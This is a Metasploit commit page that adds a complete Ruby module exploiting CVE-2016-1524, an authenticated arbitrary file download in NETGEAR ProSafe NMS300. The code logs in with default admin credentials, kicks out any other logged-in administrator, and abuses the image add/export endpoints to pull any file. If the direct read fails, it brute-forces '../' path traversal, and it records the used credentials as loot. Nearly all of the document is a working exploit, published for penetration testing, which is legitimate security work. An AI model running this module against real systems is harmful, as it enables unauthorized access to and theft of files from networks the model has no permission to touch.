Land #6531, NETGEAR ProSafe Network Management System 300 auth'd File Download
This commit is contained in:
wchen-r7
commit
53ff3051e1
|
|
@ -0,0 +1,224 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit4 < Msf::Auxiliary
|
||||
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'NETGEAR ProSafe Network Management System 300 Authenticated File Download',
|
||||
'Description' => %q{
|
||||
Netgear's ProSafe NMS300 is a network management utility that runs on Windows systems.
|
||||
The application has a file download vulnerability that can be exploited by an
|
||||
authenticated remote attacker to download any file in the system..
|
||||
This module has been tested with versions 1.5.0.2, 1.4.0.17 and 1.1.0.13.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and updated MSF module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2016-1524'],
|
||||
['US-CERT-VU', '777024'],
|
||||
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/netgear_nms_rce.txt'],
|
||||
['URL', 'http://seclists.org/fulldisclosure/2016/Feb/30']
|
||||
],
|
||||
'DisclosureDate' => 'Feb 4 2016'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8080),
|
||||
OptString.new('TARGETURI', [true, "Application path", '/']),
|
||||
OptString.new('USERNAME', [true, 'The username to login as', 'admin']),
|
||||
OptString.new('PASSWORD', [true, 'Password for the specified username', 'admin']),
|
||||
OptString.new('FILEPATH', [false, 'Path of the file to download minus the drive letter', '/Windows/System32/calc.exe']),
|
||||
], self.class)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptInt.new('DEPTH', [false, 'Max depth to traverse', 15])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def authenticate
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(datastore['TARGETURI'], 'userSession.do'),
|
||||
'method' => 'POST',
|
||||
'vars_post' => {
|
||||
'userName' => datastore['USERNAME'],
|
||||
'password' => datastore['PASSWORD']
|
||||
},
|
||||
'vars_get' => { 'method' => 'login' }
|
||||
})
|
||||
|
||||
if res && res.code == 200
|
||||
cookie = res.get_cookies
|
||||
if res.body.to_s =~ /"loginOther":true/ && res.body.to_s =~ /"singleId":"([A-Z0-9]*)"/
|
||||
# another admin is logged in, let's kick him out
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(datastore['TARGETURI'], 'userSession.do'),
|
||||
'method' => 'POST',
|
||||
'cookie' => cookie,
|
||||
'vars_post' => { 'singleId' => $1 },
|
||||
'vars_get' => { 'method' => 'loginAgain' }
|
||||
})
|
||||
if res && res.code == 200 && (not res.body.to_s =~ /"success":true/)
|
||||
return nil
|
||||
end
|
||||
end
|
||||
return cookie
|
||||
end
|
||||
return nil
|
||||
end
|
||||
|
||||
|
||||
def download_file (download_path, cookie)
|
||||
filename = Rex::Text.rand_text_alphanumeric(8 + rand(10)) + ".img"
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'cookie' => cookie,
|
||||
'uri' => normalize_uri(datastore['TARGETURI'], 'data', 'config', 'image.do'),
|
||||
'vars_get' => {
|
||||
'method' => 'add'
|
||||
},
|
||||
'vars_post' => {
|
||||
'realName' => download_path,
|
||||
'md5' => '',
|
||||
'fileName' => filename,
|
||||
'version' => Rex::Text.rand_text_alphanumeric(8 + rand(2)),
|
||||
'vendor' => Rex::Text.rand_text_alphanumeric(4 + rand(3)),
|
||||
'deviceType' => rand(999),
|
||||
'deviceModel' => Rex::Text.rand_text_alphanumeric(5 + rand(3)),
|
||||
'description' => Rex::Text.rand_text_alphanumeric(8 + rand(10))
|
||||
},
|
||||
})
|
||||
|
||||
if res && res.code == 200 && res.body.to_s =~ /"success":true/
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'cookie' => cookie,
|
||||
'uri' => normalize_uri(datastore['TARGETURI'], 'data', 'getPage.do'),
|
||||
'vars_get' => {
|
||||
'method' => 'getPageList',
|
||||
'type' => 'configImgManager',
|
||||
},
|
||||
'vars_post' => {
|
||||
'everyPage' => 500 + rand(999)
|
||||
},
|
||||
})
|
||||
|
||||
if res && res.code == 200 && res.body.to_s =~ /"imageId":"([0-9]*)","fileName":"#{filename}"/
|
||||
image_id = $1
|
||||
return send_request_cgi({
|
||||
'uri' => normalize_uri(datastore['TARGETURI'], 'data', 'config', 'image.do'),
|
||||
'method' => 'GET',
|
||||
'cookie' => cookie,
|
||||
'vars_get' => {
|
||||
'method' => 'export',
|
||||
'imageId' => image_id
|
||||
}
|
||||
})
|
||||
end
|
||||
end
|
||||
return nil
|
||||
rescue Rex::ConnectionRefused
|
||||
print_error("#{peer} - Could not connect.")
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def save_file(filedata)
|
||||
vprint_line(filedata.to_s)
|
||||
fname = File.basename(datastore['FILEPATH'])
|
||||
|
||||
path = store_loot(
|
||||
'netgear.http',
|
||||
'application/octet-stream',
|
||||
datastore['RHOST'],
|
||||
filedata,
|
||||
fname
|
||||
)
|
||||
print_good("File saved in: #{path}")
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: rhost,
|
||||
port: rport,
|
||||
service_name: 'netgear',
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: opts[:user],
|
||||
private_data: opts[:password],
|
||||
private_type: :password
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
last_attempted_at: DateTime.now,
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::SUCCESSFUL,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
|
||||
def run
|
||||
cookie = authenticate
|
||||
if cookie == nil
|
||||
fail_with(Failure::Unknown, "#{peer} - Failed to log in with the provided credentials.")
|
||||
else
|
||||
print_good("#{peer} - Logged in with #{datastore['USERNAME']}:#{datastore['PASSWORD']} successfully.")
|
||||
report_cred(
|
||||
user: datastore['USERNAME'],
|
||||
password: datastore['PASSWORD'],
|
||||
proof: cookie
|
||||
)
|
||||
end
|
||||
|
||||
if datastore['FILEPATH'].blank?
|
||||
fail_with(Failure::Unknown, "#{peer} - Please supply the path of the file you want to download.")
|
||||
return
|
||||
end
|
||||
|
||||
filepath = datastore['FILEPATH']
|
||||
res = download_file(filepath, cookie)
|
||||
if res && res.code == 200
|
||||
if res.body.to_s.bytesize != 0 && (not res.body.to_s =~/This file does not exist./) && (not res.body.to_s =~/operation is failed/)
|
||||
save_file(res.body)
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
print_error("#{peer} - File not found, using bruteforce to attempt to download the file")
|
||||
count = 1
|
||||
while count < datastore['DEPTH']
|
||||
res = download_file(("../" * count).chomp('/') + filepath, cookie)
|
||||
if res && res.code == 200
|
||||
if res.body.to_s.bytesize != 0 && (not res.body.to_s =~/This file does not exist./) && (not res.body.to_s =~/operation is failed/)
|
||||
save_file(res.body)
|
||||
return
|
||||
end
|
||||
end
|
||||
count += 1
|
||||
end
|
||||
|
||||
print_error("#{peer} - Failed to download file.")
|
||||
end
|
||||
end
|
||||
Loading…
Reference in New Issue